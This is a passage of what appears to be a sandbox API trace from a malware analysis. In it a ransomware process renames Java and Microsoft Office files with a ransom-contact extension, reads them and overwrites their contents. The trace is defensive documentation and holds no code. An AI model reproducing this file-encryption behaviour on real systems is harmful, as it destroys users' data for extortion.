Size=0xec1) returned 0x727d80 [0131.346] GetProcessHeap () returned 0x630000 [0131.346] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xec1) returned 0x673b38 [0131.346] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.346] ReadFile (in: hFile=0x6e4, lpBuffer=0x727d80, nNumberOfBytesToRead=0xea0, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x55fff0c*=0xea0, lpOverlapped=0x0) returned 1 [0131.362] GetProcessHeap () returned 0x630000 [0131.362] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0131.362] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.362] WriteFile (in: hFile=0x6e4, lpBuffer=0x673b38*, nNumberOfBytesToWrite=0xea0, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x673b38*, lpNumberOfBytesWritten=0x55fff0c*=0xea0, lpOverlapped=0x0) returned 1 [0131.362] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.362] WriteFile (in: hFile=0x6e4, lpBuffer=0x6749d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6749d7*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0131.362] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.362] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0131.362] CloseHandle (hObject=0x6e4) returned 1 [0131.363] GetProcessHeap () returned 0x630000 [0131.363] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x673b38 | out: hHeap=0x630000) returned 1 [0131.364] GetProcessHeap () returned 0x630000 [0131.364] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0131.364] GetProcessHeap () returned 0x630000 [0131.364] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0131.364] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.364] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x143e26f0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xecc, dwReserved0=0xa707496, dwReserved1=0x727d78, cFileName="messages_zh_TW.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MESSAG~2.FIR")) returned 0x6d4e00 [0131.364] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0131.364] Sleep (dwMilliseconds=0x1) [0131.380] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties", len=0x44 | out: pbstr=0x55fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 1 [0131.380] GetProcessHeap () returned 0x630000 [0131.380] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x54) returned 0x66a3e0 [0131.380] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0131.381] CloseHandle (hObject=0x4dc) returned 1 [0131.381] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.381] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.382] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.382] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_sv.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MESSAG~4.FIR")) returned 0x6d5200 [0131.382] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0131.382] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0131.382] GetProcessHeap () returned 0x630000 [0131.382] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd61) returned 0x709768 [0131.382] GetProcessHeap () returned 0x630000 [0131.382] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd61) returned 0x695ed0 [0131.382] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.382] ReadFile (in: hFile=0x4dc, lpBuffer=0x709768, nNumberOfBytesToRead=0xd40, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x709768*, lpNumberOfBytesRead=0x55fff0c*=0xd40, lpOverlapped=0x0) returned 1 [0133.295] GetProcessHeap () returned 0x630000 [0133.295] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0133.295] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.295] WriteFile (in: hFile=0x4dc, lpBuffer=0x695ed0*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesWritten=0x55fff0c*=0xd40, lpOverlapped=0x0) returned 1 [0133.296] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.296] WriteFile (in: hFile=0x4dc, lpBuffer=0x696c0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x696c0f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.296] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.296] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.296] CloseHandle (hObject=0x4dc) returned 1 [0134.551] GetProcessHeap () returned 0x630000 [0134.551] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0134.551] GetProcessHeap () returned 0x630000 [0134.551] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x709768 | out: hHeap=0x630000) returned 1 [0134.551] GetProcessHeap () returned 0x630000 [0134.551] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0134.551] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.551] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1565719e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd75, dwReserved0=0xa707496, dwReserved1=0x709760, cFileName="messages_sv.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MESSAG~4.FIR")) returned 0x6d5280 [0134.551] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0134.551] Sleep (dwMilliseconds=0x1) [0136.558] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF", len=0x3f | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 1 [0136.558] GetProcessHeap () returned 0x630000 [0136.558] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x248) returned 0x670860 [0136.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0136.560] CloseHandle (hObject=0x6d4) returned 1 [0136.560] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0136.560] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0136.561] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CUPWMF~1.FIR")) returned 0x6d5340 [0136.561] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0136.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0136.561] GetProcessHeap () returned 0x630000 [0136.561] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xba1) returned 0x6fba008 [0136.561] GetProcessHeap () returned 0x630000 [0136.561] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xba1) returned 0x72d0868 [0136.561] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.561] ReadFile (in: hFile=0x6d4, lpBuffer=0x6fba008, nNumberOfBytesToRead=0xb80, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fba008*, lpNumberOfBytesRead=0x55fff0c*=0xb80, lpOverlapped=0x0) returned 1 [0136.575] GetProcessHeap () returned 0x630000 [0136.575] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0136.575] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.575] WriteFile (in: hFile=0x6d4, lpBuffer=0x72d0868*, nNumberOfBytesToWrite=0xb80, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d0868*, lpNumberOfBytesWritten=0x55fff0c*=0xb80, lpOverlapped=0x0) returned 1 [0136.576] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.576] WriteFile (in: hFile=0x6d4, lpBuffer=0x72d13e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d13e7*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.576] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.576] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.576] CloseHandle (hObject=0x6d4) returned 1 [0136.577] GetProcessHeap () returned 0x630000 [0136.577] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d0868 | out: hHeap=0x630000) returned 1 [0136.577] GetProcessHeap () returned 0x630000 [0136.577] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fba008 | out: hHeap=0x630000) returned 1 [0136.577] GetProcessHeap () returned 0x630000 [0136.577] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0136.577] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x175b082f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbba, dwReserved0=0xa707496, dwReserved1=0x6fba000, cFileName="CUP.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CUPWMF~1.FIR")) returned 0x6d5280 [0136.577] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0136.578] Sleep (dwMilliseconds=0x1) [0136.604] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF", len=0x41 | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 1 [0136.604] GetProcessHeap () returned 0x630000 [0136.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x240) returned 0x670860 [0136.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0136.604] CloseHandle (hObject=0x68c) returned 1 [0136.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0136.605] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0136.605] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANE.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CRANEW~1.FIR")) returned 0x6d5540 [0136.606] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0136.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0136.606] GetProcessHeap () returned 0x630000 [0136.606] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14a1) returned 0x6ed2090 [0136.606] GetProcessHeap () returned 0x630000 [0136.606] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14a1) returned 0x70825e8 [0136.606] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.606] ReadFile (in: hFile=0x68c, lpBuffer=0x6ed2090, nNumberOfBytesToRead=0x1480, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed2090*, lpNumberOfBytesRead=0x55fff0c*=0x1480, lpOverlapped=0x0) returned 1 [0136.670] GetProcessHeap () returned 0x630000 [0136.670] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0136.670] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.670] WriteFile (in: hFile=0x68c, lpBuffer=0x70825e8*, nNumberOfBytesToWrite=0x1480, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70825e8*, lpNumberOfBytesWritten=0x55fff0c*=0x1480, lpOverlapped=0x0) returned 1 [0136.670] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.670] WriteFile (in: hFile=0x68c, lpBuffer=0x7083a67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7083a67*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.671] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.671] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.671] CloseHandle (hObject=0x68c) returned 1 [0136.672] GetProcessHeap () returned 0x630000 [0136.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70825e8 | out: hHeap=0x630000) returned 1 [0136.672] GetProcessHeap () returned 0x630000 [0136.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed2090 | out: hHeap=0x630000) returned 1 [0136.672] GetProcessHeap () returned 0x630000 [0136.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0136.672] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.672] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17695625, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x14ba, dwReserved0=0xa707496, dwReserved1=0x6ed2088, cFileName="CRANE.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CRANEW~1.FIR")) returned 0x6d4e00 [0136.672] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0136.672] Sleep (dwMilliseconds=0x1) [0136.681] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID", len=0x44 | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 1 [0136.681] GetProcessHeap () returned 0x630000 [0136.681] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x23c) returned 0x670860 [0136.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0136.682] CloseHandle (hObject=0x68c) returned 1 [0136.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0136.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0136.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.683] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMNTY_01.MID.id-1998248312_[contact-support@elude.in].firex3m", 